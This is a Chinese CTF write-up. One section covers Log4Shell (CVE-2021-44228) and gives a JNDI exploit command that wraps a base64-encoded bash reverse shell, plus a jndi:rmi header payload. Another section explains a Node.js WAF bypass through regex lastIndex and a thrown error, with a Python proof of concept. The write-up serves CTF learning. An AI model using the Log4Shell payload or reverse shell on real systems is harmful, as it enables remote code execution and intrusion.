logging
log4j2 rce (CVE-2021-44228)
使用工具:
Server Bash run:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,x}(x: 'bash -i >& /dev/tcp/ip/port 0>&1' encoded with base64)|{base64,-d}|{bash,-i}" -A <server_ip>:<listen_port>
在 Request 的 Accept Header 中注入 jndi,触发报错日志记录,
${jndi:rmi://<server_ip>:<rmi_port>/<ramdom_rmi_route>}
log4j2 远程加载 Class 类 反弹 Shell
Wait What
写战队wp的时候写了个这题的抽象版wp,结果发现认错出题人了还被拿来当官方wp了,给 X1r0z 和 114 佬们跪了Orz,以下是正常版wp
由于 admin 账号被放入了 waf 中
而我们又需要登录 admin 账号来获取 flag
因此本题的核心目标是绕过两道 waf 来登录 admin 账号获取 flag
1. 正则 waf 绕过
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
由于 new RegExp(regex_string, "g")
定义了 g 的全局 regex
regex.test():
如果正则表达式设置了全局标志,test()
的执行会改变正则表达式lastIndex
属性。
连续的执行test()
方法,后续的执行将会从 lastIndex 处开始匹配字符串
example:
ar regex = /foo/g;
// regex.lastIndex is at 0
regex.test("foo"); // true
// regex.lastIndex is now at 3
regex.test("foo"); // false
此处存在漏洞利用的可能,但在 app.use()
中:
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})
build_banned_users_regex()
:
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}
escapeRegExp(username)
:
function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
这些代码会导致每次在请求时都会更新 banned_users_regex ,恢复其 lastIndex 位置
由于 try 和 catch 的存在,我们考虑 throw error 来绕过 regex 的更新
通过构造传入 escapeRegExp()
函数中的 string 为其他数据类型,
可以使得 replace 属性报错,这样就可以绕过 regex 的更新
2. in 关键字 waf 绕过
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
JavaScript:in:如果指定的属性在指定的对象或其原型链中,则
in
运算符返回true
由于 banned_users 为 Array
类型,不存在 admin 属性,
因此 test2 恒为 false
,与 banned_users 的具体元素内容无关
3. 解题步骤
- 利用 /api/ban_user 路由构造 ban_username 为 {} 等其他数据类型
- 执行 /api/flag ,使得 regex 的 lastIndex 移至 admin 以后
- 执行 /api/flag,成功绕过正则 waf,正则 waf 返回 false,获得 flag
4. Poc
import requests
Base_url = "<challenge_url>:<port>"
# bypass regex regeneratation (throw error)
requests.post(
f'{Base_url}/api/ban_user',
json={
'username': 'user',
'password': 'user',
'ban_username': {}
}
)
print("[1/2] Successfully Bypassed Regex Regeneratation")
# using .test() twice and bypass regex
for i in range(2):
response = requests.post(
f'{Base_url}/api/flag',
json={
'username': 'admin',
'password': 'admin'
}
)
print(f"[2/2] Done! flag: {response.text}")